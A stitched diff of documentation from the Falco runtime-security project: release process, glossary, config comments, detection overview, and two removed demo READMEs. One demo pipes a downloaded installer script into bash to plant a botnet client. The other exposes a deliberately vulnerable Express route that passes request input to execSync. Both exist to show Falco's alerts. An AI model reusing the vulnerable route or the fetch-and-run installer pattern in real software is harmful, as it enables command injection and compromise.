-Falco is licensed to you under the [GPL 2.0](./COPYING) open source license.
+## What can Falco detect?
 
-Contributor License Agreements
----
-###Background
- As we did for sysdig, we are formalizing the way that we accept contributions of code from the contributing community. We must now ask that contributions to falco be provided subject to the terms and conditions of a [Contributor License Agreement (CLA)](./cla). The CLA comes in two forms, applicable to contributions by individuals, or by legal entities such as corporations and their employees. We recognize that entering into a CLA with us involves real consideration on your part, and we’ve tried to make this process as clear and simple as possible.
+Falco can detect and alert on any behavior that involves making Linux system calls.
+Falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process.
+For example, Falco can easily detect incidents including but not limited to:
 
- We’ve modeled our CLA off of industry standards, such as [the CLA used by Kubernetes](https://github.com/kubernetes/kubernetes/blob/master/CONTRIBUTING.md). Note that this agreement is not a transfer of copyright ownership, this simply is a license agreement for contributions, intended to clarify the intellectual property license granted with contributions from any person or entity. It is for your protection as a contributor as well as the protection of falco; it does not change your rights to use your own contributions for any other purpose.
+- A shell is running inside a container or pod in Kubernetes.
+- A container is running in privileged mode, or is mounting a sensitive path, such as `/proc`, from the host.
+- A server process is spawning a child process of an unexpected type.
+- Unexpected read of a sensitive file, such as `/etc/shadow`.
+- A non-device file is written to `/dev`.
+- A standard system binary, such as `ls`, is making an outbound network connection.
+- A privileged pod is started in a Kubernetes cluster.
 
- For some background on why contributor license agreements are necessary, you can read FAQs from many other open source projects:
+The official Falco rules are maintained and released in [falcosecurity/rules](https://github.com/falcosecurity/rules/). That repository also contains the Falco rules inventory [document](https://github.com/falcosecurity/rules/blob/main/rules_inventory/rules_overview.md), which provides additional details around the default rules Falco ships with.

+# Falco Release Process
+
+
+## Overview
+
+This document provides the process to create a new Falco release. In addition, it provides information about the versioning of the Falco components. At a high level each Falco release consists of the following main components:
+
+- Falco binary (userspace)
+- Falco kernel driver object files (kernel space)
+    - Option 1: Kernel module (`.ko` files)
+    - Option 2: eBPF (`.o` files)
+- Falco config and primary rules `.yaml` files (userspace)
+- Falco plugins (userspace - optional)
+
+One nice trait about releasing separate artifacts for userspace and kernel space is that Falco is amenable to supporting a large array of environments, that is, multiple kernel versions, distros and architectures (see `libs` [driver - kernel version support matrix](https://github.com/falcosecurity/libs#drivers-officially-supported-architectures)). The Falco project manages the release of both the Falco userspace binary and pre-compiled Falco kernel drivers for the most popular kernel versions and distros. The build and publish process is managed by the [test-infra](https://github.com/falcosecurity/test-infra) repo. The Falco userspace executable includes bundled dependencies, so that it can be run from anywhere.
+
+The Falco project also publishes all sources for each component. In fact, sources are included in the Falco release in the same way as some plugins (k8saudit and cloudtrail) as well as the rules that are shipped together with Falco. This empowers the end user to audit the integrity of the project as well as build kernel drivers for custom kernels or not officially supported kernels / distros (see [driverkit](https://github.com/falcosecurity/driverkit) for more information). While the Falco project is deeply embedded into an ecosystem of supporting [Falco sub-projects](https://github.com/falcosecurity/evolution) that aim to make the deployment of Falco easy, user-friendly, extendible and cloud-native, core Falco is split across two repos, [falco](https://github.com/falcosecurity/falco) (this repo) and [libs](https://github.com/falcosecurity/libs). The `libs` repo contains >90% of Falco's core features and is the home of each of the kernel drivers and engines. More details are provided in the [Falco Components Versioning](#falco-components-versioning) section.
+
+Finally, the release process follows a transparent process described in more detail in the following sections and the official [Falco docs](https://falco.org/) contain rich information around building, installing and using Falco.
+
+
+### Falco Binaries, Rules and Sources Artifacts - Quick Links
+
+The Falco project publishes all sources and the Falco userspace binaries as GitHub releases.
+
+- [Falco Releases](https://github.com/falcosecurity/falco/releases)
+    - `tgz`, `rpm` and `deb` Falco binary packages (contains sources, including driver sources, Falco rules as well as k8saudit and cloudtrail plugins)
+    - `tgz`, `zip` source code
+- [Libs Releases](https://github.com/falcosecurity/libs/releases)
+    - `tgz`, `zip` source code
+- [Driver Releases](https://github.com/falcosecurity/libs/releases), marked with `+driver` [build metadata](https://semver.org/). 
+    - `tgz`, `zip` source code
+- [Falco Rules Releases](https://github.com/falcosecurity/rules/releases)
+    - `tgz`, `zip` source code, each ruleset is tagged separately in a mono-repo fashion, see the [rules release guidelines](https://github.com/falcosecurity/rules/blob/main/RELEASE.md)
+
+
+Alternatively Falco binaries or plugins can be downloaded from the Falco Artifacts repo.
+
+- [Falco Artifacts Repo Packages Root](https://download.falco.org/?prefix=packages/)
+- [Falco Artifacts Repo Plugins Root](https://download.falco.org/?prefix=plugins/)
+
+
+### Falco Drivers Artifacts Repo - Quick Links
+
+
+The Falco project publishes all drivers for each release for all popular kernel versions / distros and `x86_64` and `aarch64` architectures to the Falco project managed Artifacts repo. The Artifacts repo follows standard directory level conventions. The respective driver object file is prefixed by distro and named / versioned by kernel release - `$(uname -r)`. Pre-compiled drivers are released with a [best effort](https://github.com/falcosecurity/falco/blob/master/proposals/20200818-artifacts-storage.md#notice) notice. This is because gcc (`kmod`) and clang (`bpf`) compilers or for example the eBPF verifier are not perfect. More details around driver versioning and driver compatibility are provided in the [Falco Components Versioning](#falco-components-versioning) section. Short preview: If you use the standard Falco setup leveraging driver-loader, [driver-loader script](https://github.com/falcosecurity/falco/blob/master/scripts/falco-driver-loader) will fetch the kernel space artifact (object file) corresponding to the default `DRIVER_VERSION` Falco was shipped with.
+
+- [Falco Artifacts Repo Drivers Root](https://download.falco.org/?prefix=driver/)
+    - Option 1: Kernel module (`.ko` files) - all under same driver version directory
+    - Option 2: eBPF (`.o` files) - all under same driver version directory
+
+
+### Timeline
+
+Falco releases are due to happen 3 times per year. Our current schedule sees a new release by the end of January, May, and September each year. Hotfix releases can happen whenever it's needed.
+
+Changes and new features are grouped in [milestones](https://github.com/falcosecurity/falco/milestones), the milestone with the next version represents what is going to be released.
+
+
+### Procedures
+
+The release process is mostly automated requiring only a few manual steps to initiate and complete it.
+
+Moreover, we need to assign owners for each release (usually we pair a new person with an experienced one). Assignees and the due date are proposed during the [weekly community call](https://github.com/falcosecurity/community).
+
+At a high level each Falco release needs to follow a pre-determined sequencing of releases and build order:
+
+- [1 - 3] `libs` (+ `driver`) and `plugins` components releases
+- [4] Falco driver pre-compiled object files push to Falco's Artifacts repo
+- [5] Falco userspace binary release
+
+Finally, on the proposed due date the assignees for the upcoming release proceed with the processes described below.  
+
+## Pre-Release Checklist
+
+Prior to cutting a release the following preparatory steps should take 5 minutes using the GitHub UI.
+
+### 1. Release notes
+- Find the previous release date (`YYYY-MM-DD`) by looking at the [Falco releases](https://github.com/falcosecurity/falco/releases)
+- Check the release note block of every PR matching the `is:pr is:merged closed:>YYYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+closed%3A%3EYYYY-MM-DD)
+    - Ensure the release note block follows the [commit convention](https://github.com/falcosecurity/.github/blob/master/CONTRIBUTING.md#commit-convention), otherwise fix its content
+    - If the PR has no milestone, assign it to the milestone currently undergoing release
+- Check issues without a milestone (using `is:pr is:merged no:milestone closed:>YYYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYY-MM-DD) ) and add them to the milestone currently undergoing release
+- Double-check that there are no more merged PRs without the target milestone assigned with the `is:pr is:merged no:milestone closed:>YYYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYY-MM-DD), if any, update those missing
+
+### 2. Milestones
+
+- Move the [tasks not completed](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Aopen) to a new minor milestone
+
+
+### 3. Release branch
+
+Assuming we are releasing a non-patch version (like: Falco 0.34.0), a new release branch needs to be created.  
+Its naming will be `release/M.m.x`; for example: `release/0.34.x`.  
+The same branch will then be used for any eventual cherry pick for patch releases.  
+
+For patch releases, instead, the `release/M.m.x` branch should already be in place; no more steps are needed.  
+Double check that any PR that should be part of the tag has been cherry-picked from master!
+
+### 4. Release PR
+
+The release PR is meant to be made against the respective `release/M.m.x` branch, **then cherry-picked on master**.  
+
+- Double-check if any hard-coded version number is present in the code, it should be not present anywhere:
+    - If any, manually correct it then open an issue to automate version number bumping later
+    - Versions table in the `README.md` updates itself automatically
+- Generate the change log using [rn2md](https://github.com/leodido/rn2md):
+    - Execute `rn2md -o falcosecurity -m <version> -r falco`
+    - In case `rn2md` emits error try to generate an GitHub OAuth access token and provide it with the `-t` flag
+- Add the latest changes on top the previous `CHANGELOG.md`
+- Submit a PR with the above modifications
+- Await PR approval
+- Close the completed milestone as soon as the PR is merged into the release branch
+- Cherry pick the PR on master too
+
+## Release
+
+Assume `M.m.p` is the new version.
+
+### 1. Create a tag
+
+- Once the release PR has got merged both on the release branch and on master, and the master CI has done its job, git tag the new release on the release branch:
+
+    ```
+    git pull
+    git checkout release/M.m.x
+    git tag M.m.p
+    git push origin M.m.p
+    ```
+
+> **N.B.**: do NOT use an annotated tag. For reference https://git-scm.com/book/en/v2/Git-Basics-Tagging
+
+- Wait for the CI to complete
+
+### 2. Update the GitHub release
+
+- [Draft a new release](https://github.com/falcosecurity/falco/releases/new)
+- Use `M.m.p` both as tag version and release title
+- Use the following template to fill the release description:
+    ```
+    <!-- Substitute M.m.p with the current release version -->

+
+For each release we archive the meeting notes in git for historical purposes.
+
+ - The notes from the Falco meetings can be [found here](https://hackmd.io/3qYPnZPUQLGKCzR14va_qg).
+    - Note: There may be other notes from working groups that can optionally be added as well as needed.
+ - Add the entire content of the document to a new file in [github.com/falcosecurity/community/tree/master/meeting-notes](https://github.com/falcosecurity/community/tree/master/meeting-notes) as a new file labeled `release-M.m.p.md`
+ - Open up a pull request with the new change.
+
+
+## Post-Release tasks
+
+Announce the new release to the world!
+
+- Publish a blog on [Falco website](https://github.com/falcosecurity/falco-website) ([example](https://github.com/falcosecurity/falco-website/blob/master/content/en/blog/falco-0-28-1.md))
+- Send an announcement to cncf-falco-dev@lists.cncf.io (plain text, please)
+- Let folks in the slack #falco channel know about a new release came out
+- IFF the on going release introduces a **new minor version**, [archive a snapshot of the Falco website](https://github.com/falcosecurity/falco-website/blob/master/release.md#documentation-versioning)
+
+
+## Falco Components Versioning
+
+This section provides more details around the versioning of all components that make up core Falco. It can also be a useful guide for the uninitiated to be more informed about Falco's source. Because the `libs` repo contains >90% of Falco's core features and is the home of each of the kernel drivers and engines, the [libs release doc](https://github.com/falcosecurity/libs/blob/master/release.md) is an excellent additional resource. In addition, the [plugins release doc](https://github.com/falcosecurity/plugins/blob/master/release.md) provides similar details around Falco's plugins. `SHA256` checksums are provided throughout Falco's source code to empower the end user to perform integrity checks. All Falco releases also contain the sources as part of the packages.
+
+
+### Falco repo (this repo)
+- Falco version is a git tag (`x.y.z`), see [Procedures](#procedures) section. Note that the Falco version is a sem-ver-like schema, but not fully compatible with sem-ver.
+- [FALCO_ENGINE_VERSION](https://github.com/falcosecurity/falco/blob/master/userspace/engine/falco_engine_version.h) is not sem-ver and must be bumped either when a backward incompatible change has been introduced to the rules files syntax or `falco --list -N | sha256sum` has changed. Breaking changes introduced in the Falco engine are not necessarily tied to the drivers or libs versions. The primary idea behind the hash is that when new filter / display fields (see currently supported [Falco fields](https://falco.org/docs/rules/supported-fields/)) are introduced a version bump indicates that this field was not available in previous engine versions. See the [rules release guidelines](https://github.com/falcosecurity/rules/blob/main/RELEASE.md#versioning-a-ruleset) to understand how this affects the versioning of Falco rules.
+- During development and release preparation, libs and driver reference commits are often bumped in Falco's cmake setup ([falcosecurity-libs cmake](https://github.com/falcosecurity/falco/blob/master/cmake/modules/falcosecurity-libs.cmake#L30) and [driver cmake](https://github.com/falcosecurity/falco/blob/master/cmake/modules/driver.cmake#L29)) in order to merge new Falco features. In practice they are mostly bumped at the same time referencing the same `libs` commit. However, for the official Falco build `FALCOSECURITY_LIBS_VERSION` flag that references the stable Libs version is used (read below).
+- Similarly, Falco plugins versions are bumped in Falco's cmake setup ([plugins cmake](https://github.com/falcosecurity/falco/blob/master/cmake/modules/plugins.cmake)) and those versions are the ones used for the Falco release.
+- At release time Plugin, Libs and Driver versions are compatible with Falco.
+- If you use the standard Falco setup leveraging driver-loader, [driver-loader script](https://github.com/falcosecurity/falco/blob/master/scripts/falco-driver-loader) will fetch the kernel space artifact (object file) corresponding to the default `DRIVER_VERSION` Falco was shipped with (read more below under Libs).
+
+
+```
+Falco version: x.y.z (sem-ver like)
+Libs version:  x.y.z (sem-ver like)
+Plugin API:    x.y.z (sem-ver like)
+Engine:        x
+Driver:
+  API version:    x.y.z (sem-ver)
+  Schema version: x.y.z (sem-ver)
+  Default driver: x.y.z+driver (sem-ver like, indirectly encodes compatibility range in addition to default version Falco is shipped with)
+```
+
+
+### Libs repo
+- Libs version is a git tag (`x.y.z`) and when building Falco the libs version is set via the `FALCOSECURITY_LIBS_VERSION` flag (see above).
+- Driver version itself is not directly tied to the Falco binary as opposed to the libs version being part of the source code used to compile Falco's userspace binary. This is because of the strict separation between userspace and kernel space artifacts, so things become a bit more interesting here. This is why the concept of a `Default driver` has been introduced to still implicitly declare the compatible driver versions. For example, if the default driver version is `2.0.0+driver`, Falco works with all driver versions >= 2.0.0 and < 3.0.0. This is a consequence of how the driver version is constructed starting from the `Driver API version` and `Driver Schema version`. Driver API and Schema versions are explained in the respective [libs driver doc](https://github.com/falcosecurity/libs/blob/master/driver/README.VERSION.md) -> Falco's `driver-loader` will always fetch the default driver, therefore a Falco release is always "shipped" with the driver version corresponding to the default driver.
+- See [libs release doc](https://github.com/falcosecurity/libs/blob/master/release.md) for more information.
+
+### Plugins repo
+
+- Plugins version is a git tag (`x.y.z`)
+- See [plugins release doc](https://github.com/falcosecurity/plugins/blob/master/release.md) for more information.
+
+### Rules repo
+- Rulesets are versioned individually through git tags
+- See [rules release doc](https://github.com/falcosecurity/rules/blob/main/RELEASE.md) for more information.
+- See [plugins release doc](https://github.com/falcosecurity/plugins/blob/master/release.md) for more information about plugins rulesets.

+Runtime security refers to an approach to preventing unwanted activity on a computer system. 
+With runtime security, an operator deploys **both** prevention tooling (access control, policy enforcement, etc) along side detection tooling (systems observability, anomaly detection, etc).
+Runtime security is the practice of using detection tooling to detect unwanted behavior, such that it can then be prevented using prevention techniques.
+Runtime security is a holistic approach to defense, and useful in scenarios where prevention tooling either was unaware of an exploit or attack vector, or when defective applications are ran in even the most secure environment.
+
+### What does Falco do?
+
+Falco consumes signals from the Linux kernel, and container management tools such as Docker and Kubernetes.
+Falco parses the signals and asserts them against security rules.
+If a rule has been violated, Falco triggers an alert. 
+
+### How does Falco work?
+
+Falco traces kernel events and reports information about the system calls being executed at runtime.
+Falco leverages the extended berkeley packet filter (eBPF) which is a kernel feature implemented for dynamic crash-resilient and secure code execution in the kernel. 
+Falco enriches these kernel events with information about containers running on the system.
+Falco also can consume signals from other input streams such as the containerd socket, the Kubernetes API server and the Kubernetes audit log.
+At runtime, Falco will reason about these events and assert them against configured security rules.
+Based on the severity of a violation an alert is triggered.
+These alerts are configurable and extensible, for instance sending a notification or [plumbing through to other projects like Prometheus](https://github.com/falcosecurity/falco-exporter). 
+
+### Benefits of using Falco
+
+ - **Strengthen Security** Create security rules driven by a context-rich and flexible engine to define unexpected application behavior.
+ - **Reduce Risk** Immediately respond to policy violation alerts by plugging Falco into your current security response workflows and processes.
+ - **Leverage up-to-date Rules** Alert using community-sourced detections of malicious activity and CVE exploits.
+    
+### Falco and securing Kubernetes
+
+Securing Kubernetes requires putting controls in place to detect unexpected behavior that could be malicious or harmful to a cluster or application(s). 
+
+Examples of malicious behavior include: 
+
+ - Exploits of unpatched and new vulnerabilities in applications or Kubernetes itself. 
+ - Insecure configurations in applications or Kubernetes itself. 
+ - Leaked or weak credentials or secret material.
+ - Insider threats from adjacent applications running at the same layer. 
+
+Falco is capable of [consuming the Kubernetes audit logs](https://kubernetes.io/docs/tasks/debug-application-cluster/falco/#use-falco-to-collect-audit-events).
+By adding Kubernetes application context, and Kubernetes audit logs teams can understand who did what.
+                                 
+### Writing about Falco
+
+##### Yes
+
+Notice the capitalization of the following terms.
+
+ - The Falco Project
+ - Falco
+
+##### No
+
+ - falco
+ - the falco project
+ - the Falco project
+
+### Encouraged Phrasing
+
+Below are phrases that the project has reviewed, and found to be effective ways of messaging Falco's value add.
+Even when processes are in place for vulnerability scanning and implementing pod security and network policies, not every risk will be addressed. You still need mechanisms to confirm these security barriers are effective, help configure them, and provide with a last line of defense when they fail.
+
+##### Falco as a factory
+
+This term refers to the concept that Falco is a stateless processing engine. A large amount of data comes into the engine, but meticulously crafted security alerts come out.
+
+##### The engine that powers...
+
+Falco ultimately is a security engine. It reasons about signals coming from a system at runtime, and can alert if an anomaly is detected.
+
+##### Anomaly detection
+
+This refers to an event that occurs with something unusual, concerning, or odd occurs.
+We can associate anomalies with unwanted behavior, and alert in their presence.
+
+##### Detection tooling
+
+Falco does not prevent unwanted behavior.
+Falco however alerts when unusual behavior occurs.
+This is commonly referred to as **detection** or **forensics**.

+# Glossary 
+
+#### Probe
+
+Used to describe the `.o` object that would be dynamically loaded into the kernel as a secure and stable (e)BPF probe. 
+This is one option used to pass kernel events up to userspace for Falco to consume.
+Sometimes this word is incorrectly used to refer to a `module`.
+
+#### Module
+
+Used to describe the `.ko` object that would be loaded into the kernel as a potentially risky kernel module.
+This is one option used to pass kernel events up to userspace for Falco to consume.
+Sometimes this word is incorrectly used to refer to a `probe`.
+
+#### Driver 
+
+The global term for the software that sends events from the kernel. Such as the eBPF `probe` or the `kernel module`.
+
+#### Plugin
+
+Used to describe a dynamic shared library (`.so` files in Unix, `.dll` files in Windows) that conforms to a documented API and allows to extend Falco's capabilities.
+
+#### Falco
+
+The name of the project, and also the name of [the main engine](https://github.com/falcosecurity/falco) that the rest of the project is built on.
+
+#### Sysdig, Inc
+
+The name of the company that originally created The Falco Project, and later donated to the CNCF.
+
+#### sysdig 
+
+A [CLI tool](https://github.com/draios/sysdig) used to evaluate kernel system events at runtime.

+Hello, this is the Falco builder container.
+
+How to use.
+
+    The default commands for the Falco builder image reports usage and environment info.
+    * docker run falcosecurity/falco-builder
+    * docker run falcosecurity/falco-builder usage
+
+    It supports bash.
+    * docker run -ti falcosecurity/falco-builder bash
+
+    To build Falco it needs:
+    - a bind-mount on the source directory (ie., the directory containing the Falco source as sibling)
+
+    Optionally, you can also bind-mount the build directory.
+    So, you can execute it from the Falco root directory as follows.
+
+    * docker run -v $PWD/..:/source -v $PWD/build:/build falcosecurity/falco-builder cmake
+    * docker run -v $PWD/..:/source -v $PWD/build:/build falcosecurity/falco-builder [<cmake-target-x>, ..., <cmake-target-y>]
+
+    Eg.,
+    * docker run -v $PWD/..:/source -v $PWD/build:/build falcosecurity/falco-builder tests
+    * docker run -v $PWD/..:/source -v $PWD/build:/build falcosecurity/falco-builder install
+
+How to build.
+
+    * cd docker/builder && DOCKER_BUILDKIT=1 docker build -t falcosecurity/falco-builder .
+
+    In case you want to customise the builder at build time the following build arguments are provided:
+    - BUILD_TYPE                whether you want a "release" or "debug" build (defaults to "release").
+    - BUILD_DRIVER              whether to build the driver or not (defaults to "OFF")
+    - BUILD_BPF                 whether to build the BPF driver or not (defaults to "OFF")
+    - BUILD_WARNINGS_AS_ERRORS  whether to intend warnings as errors or not (defaults to "ON")
+    - MAKE_JOBS                 the number of jobs to use during make (defaults to "4")
+    - FALCO_VERSION             the version to label the build (built from git index in case it is missing)
+
+    It is possible to change these at runtime (in the container) since environment variables with the same names are provided, too.
+
+Environment.
+
+    * ${gccversion}
+    * cplusplus ${cppversion}
+    * ${cmakeversion}
+    * ${clangversion}

-#Demo of falco with man-in-the-middle attacks on installation scripts
-
-For context, see the corresponding [blog post](http://sysdig.com/blog/making-curl-to-bash-safer) for this demo.
-
-## Demo architecture
-
-### Initial setup
-
-Make sure no prior `botnet_client.py` processes are lying around.
-
-### Start everything using docker-compose
-
-From this directory, run the following:
-
-```
-$ docker-compose -f demo.yml up
-```
-
-This starts the following containers:
-* apache: the legitimate web server, serving files from `.../mitm-sh-installer/web_root`, specifically the file `install-software.sh`.
-* nginx: the reverse proxy, configured with the config file `.../mitm-sh-installer/nginx.conf`.
-* evil_apache: the "evil" web server, serving files from `.../mitm-sh-installer/evil_web_root`, specifically the file `botnet_client.py`.
-* attacker_botnet_master: constantly trying to contact the botnet_client.py process.
-* falco: will detect the activities of botnet_client.py.
-
-### Download `install-software.sh`, see botnet client running
-
-Run the following to fetch and execute the installation script,
-which also installs the botnet client:
-
-```
-$ curl http://localhost/install-software.sh | bash
-```
-
-You'll see messages about installing the software. (The script doesn't actually install anything, the messages are just for demonstration purposes).
-
-Now look for all python processes and you'll see the botnet client running. You can also telnet to port 1234:
-
-```
-$ ps auxww  | grep python
-...
-root   19983  0.1  0.4  33992  8832 pts/1    S    13:34   0:00 python ./botnet_client.py
-
-$ telnet localhost 1234
-Trying ::1...
-Trying 127.0.0.1...
-Connected to localhost.
-Escape character is '^]'.
-```
-
-You'll also see messages in the docker-compose output showing that attacker_botnet_master can reach the client:
-
-```
-attacker_botnet_master | Trying to contact compromised machine...
-attacker_botnet_master | Waiting for botnet command and control commands...
-attacker_botnet_master | Ok, will execute "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec"
-attacker_botnet_master | **********Contacted compromised machine, sent botnet commands
-```
-
-At this point, kill the botnet_client.py process to clean things up.
-
-### Run installation script again using `fbash`, note falco warnings.
-
-If you run the installation script again:
-
-```
-curl http://localhost/install-software.sh | ./fbash
-```
-
-In the docker-compose output, you'll see the following falco warnings:
-
-```
-falco                  | 23:19:56.528652447: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=127.0.0.1:43639->127.0.0.1:9090)

-#Demo of falco with bash exec via poorly designed REST API.
-
-## Introduction
-
-This example shows how a server could have a poorly designed API that
-allowed a client to execute arbitrary programs on the server, and how
-that behavior can be detected using Sysdig Falco.
-
-`server.js` in this directory defines the server. The poorly designed
-API is this route handler:
-
-```javascript
-router.get('/exec/:cmd', function(req, res) {
-    var output = child_process.execSync(req.params.cmd);
-    res.send(output);
-});
-
-app.use('/api', router);
-```
-
-It blindly takes the url portion after `/api/exec/<cmd>` and tries to
-execute it. A horrible design choice(!), but allows us to easily show
-Sysdig falco's capabilities.
-
-## Demo architecture
-
-### Start everything using docker-compose
-
-From this directory, run the following:
-
-```
-$ docker-compose -f demo.yml up
-```
-
-This starts the following containers:
-
-* express_server: simple express server exposing a REST API under the endpoint `/api/exec/<cmd>`.
-* falco: will detect when you execute a shell via the express server.
-
-### Access urls under `/api/exec/<cmd>` to run arbitrary commands.
-
-Run the following commands to execute arbitrary commands like 'ls', 'pwd', etc:
-
-```
-$ curl http://localhost:8080/api/exec/ls
-
-demo.yml
-node_modules
-package.json
-README.md
-server.js
-```
-
-```
-$ curl http://localhost:8080/api/exec/pwd
-
-.../examples/nodejs-bad-rest-api
-```
-
-### Try to run bash via `/api/exec/bash`, falco sends alert.
-
-If you try to run bash via `/api/exec/bash`, falco will generate an alert:
-
-```
-falco          | 22:26:53.536628076: Warning Shell spawned in a container other than entrypoint (user=root container_id=6f339b8aeb0a container_name=express_server shell=bash parent=sh cmdline=bash )

+# Or the particular event needs to be skipped.
+# Normally, it's very unlikely that Falco does not receive events consecutively.

+# Falco is able to detect such uncommon situation.
+#
+# Here you can configure the maximum number of consecutive timeouts without an event
+# after which you want Falco to alert.
+# By default this value is set to 1000 consecutive timeouts without an event at all.

+
+syscall_event_timeouts:

+
+# --- [Description]
+#
+# This is an index that controls the dimension of the syscall buffers.
+# The syscall buffer is the shared space between Falco and its drivers where all the syscall events
+# are stored.
+# Falco uses a syscall buffer for every online CPU, and all these buffers share the same dimension.
+# So this parameter allows you to control the size of all the buffers!
+#
+# --- [Usage]
+#
+# You can choose between different indexes: from `1` to `10` (`0` is reserved for future uses).
+# Every index corresponds to a dimension in bytes:
+#
+# [(*), 1 MB, 2 MB, 4 MB, 8 MB, 16 MB, 32 MB, 64 MB, 128 MB, 256 MB, 512 MB]
+#   ^    ^     ^     ^     ^     ^      ^      ^       ^       ^       ^
+#   |    |     |     |     |     |      |      |       |       |       |
+#   0    1     2     3     4     5      6      7       8       9       10
+#
+# As you can see the `0` index is reserved, while the index `1` corresponds to
+# `1 MB` and so on.
+#
+# These dimensions in bytes derive from the fact that the buffer size must be:
+# (1) a power of 2.
+# (2) a multiple of your system_page_dimension.
+# (3) greater than `2 * (system_page_dimension)`.
+#
+# According to these constraints is possible that sometimes you cannot use all the indexes, let's consider an
+# example to better understand it:
+# If you have a `page_size` of 1 MB the first available buffer size is 4 MB because 2 MB is exactly
+# `2 * (system_page_size)` -> `2 * 1 MB`, but this is not enough we need more than `2 * (system_page_size)`!
+# So from this example is clear that if you have a page size of 1 MB the first index that you can use is `3`.
+#
+# Please note: this is a very extreme case just to let you understand the mechanism, usually the page size is something
+# like 4 KB so you have no problem at all and you can use all the indexes (from `1` to `10`).
+#
+# To check your system page size use the Falco `--page-size` command line option. The output on a system with a page
+# size of 4096 Bytes (4 KB) should be the following:
+#
+# "Your system page size is: 4096 bytes."
+#
+# --- [Suggestions]
+#
+# Before the introduction of this param the buffer size was fixed to 8 MB (so index `4`, as you can see
+# in the default value below).
+# You can increase the buffer size when you face syscall drops. A size of 16 MB (so index `5`) can reduce
+# syscall drops in production-heavy systems without noticeable impact. Very large buffers however could
+# slow down the entire machine.
+# On the other side you can try to reduce the buffer size to speed up the system, but this could
+# increase the number of syscall drops!
+# As a final remark consider that the buffer size is mapped twice in the process' virtual memory so a buffer of 8 MB
+# will result in a 16 MB area in the process virtual memory.
+# Please pay attention when you use this parameter and change it only if the default size doesn't fit your use case.

+############## [EXPERIMENTAL] Modern BPF probe specific ##############
+# Please note: these configs regard only the modern BPF probe. They
+# are experimental so they could change over releases.
+#
+# `cpus_for_each_syscall_buffer`
+#
+# --- [Description]
+#
+# This is an index that controls how many CPUs you want to assign to a single
+# syscall buffer (ring buffer). By default, every syscall buffer is associated to
+# 2 CPUs, so the mapping is 1:2. The modern BPF probe allows you to choose different
+# mappings, for example, 1:1 would mean a syscall buffer for each CPU.
+#
+# --- [Usage]
+#
+# You can choose between different indexes: from `0` to `MAX_NUMBER_ONLINE_CPUs`.
+# `0` is a special value and it means a single syscall buffer shared between all
+# your online CPUs. `0` has the same effect as `MAX_NUMBER_ONLINE_CPUs`, the rationale
+# is that `0` allows you to create a single buffer without knowing the number of online
+# CPUs on your system.
+# Let's consider an example to better understand it:
+#
+# Consider a system with 7 online CPUs:
+#
+#          CPUs     0  X  2  3  X  X  6  7  8  9   (X means offline CPU)
+#
+# - `1` means a syscall buffer for each CPU so 7 buffers
+#

+# Considering a fixed `syscall_buf_size_preset` and so a fixed buffer dimension:
+# - a lower number of buffers can speed up your system (lower memory footprint)
+# - a too lower number of buffers could increase contention in the kernel causing an
+#   overall slowdown of the system.
+# If you don't have huge events throughputs and you are not experimenting with tons of drops
+# you can try to reduce the number of buffers to have a lower memory footprint

+# base_syscalls ! Use with caution !
+#
+# --- [Description]
+#
+# With this option you are in full control of the total set of syscalls that
+# Falco will enable in the kernel for active tracing.
+
+# All syscalls and events from each enabled Falco rule will automatically be activated
+# even when choosing this option. This option provides full end user control to specifically
+# define a static set of base syscalls that will be activated in addition to the
+# syscalls defined in the rules.
+#
+# When using this option, Falco does not add any other syscalls that may be needed for
+# Falco's state engine. The union of all syscalls from the rules (including resolved macros)
+# and the ones specified here compose the final set of syscalls that are traced in the kernel.
+# This puts the end user in the driver seat, but if not used correctly Falco logs may be
+# incomplete or wrong. This option however can be very useful to lower CPU utilization and
+# allowing you to tailor Falco to specific environments according to your
+# organization's threat model and security posture as well as cost budget.
+
+# !!! When NOT using this option, Falco defaults to adding a static set of syscalls in addition
+# to the rules system calls you need for Falco's state engine build-up and life-cycle management.
+#
+#
+# --- [Usage]
+#
+# List of system calls names (<syscall-name>) plus negative ("!<syscall-name>") notation supported.
+#
+# base_syscalls: [<syscall-name>, <syscall-name>, "!<syscall-name>"]
+#
+#
+# --- [Suggestions]
+#
+# Here are a few recommendations that may help you to use the full power of this option:
+#
+# Consider to at minimum add the following syscalls regardless of the syscalls used in the rules.
+#
+# [clone, clone3, fork, vfork, execve, execveat, close]
+#
+# This is because some Falco fields you may output for an execve* system call are retrieved
+# from the associated "clone", "clone3", "fork", "vfork" syscall when spawning a new process.
+# The "close" system call is used to purge file descriptors from Falco's internal
+# thread / process cache table and therefore should always be added when you have rules around fds
+# (e.g. open, openat, openat2, socket, connect, accept, accept4 ... and many more)
+#
+# When network syscalls are used in rules we recommend to at minimum set
+#
+# [clone, clone3, fork, vfork, execve, execveat, close, socket, bind, getsockopt]
+#
+# It turns out that while you absolutely can log connect or accept* syscalls without the socket
+# system call, the log however would not contain the ip tuples.
+# For listen and accept* system calls you also need the bind system call.
+#
+# Lastly, if you care about the correct uid, gid or sid, pgid of a process when that process then
+# opens a file or makes a network connection or any other action, consider also
+# adding the following syscalls:
+#
+# setresuid, setsid, setuid, setgid, setpgid, setresgid, setsid, capset, chdir, chroot, fchdir
+#
+# Only exclude syscalls, e.g. "!mprotect" if you need a fast deployment update (overriding rules),
+# else rather remove unwanted or not needed syscalls from the Falco rules.

+
+## Summary
+
+We intend to build a simple gRPC server and SDKs - eg., [falco#785](https://github.com/falcosecurity/falco/issues/785) - to allow users receive and consume the alerts regarding the violated rules.
+
+## Motivation
+
+The most valuable information that Falco can give to its users are the alerts.
+
+An alert is an "output" when it goes over a transport, and it is emitted by Falco every time a rule is matched.
+
+At the current moment, however, Falco can deliver alerts in a very basic way, for example by dumping them to standard output.
+
+For this reason, many Falco users asked, with issues - eg., [falco#528](https://github.com/falcosecurity/falco/issues/528) - or in the [slack channel](https://slack.k8s.io) if we can find a more consumable way to implement Falco outputs in an extensible way.
+
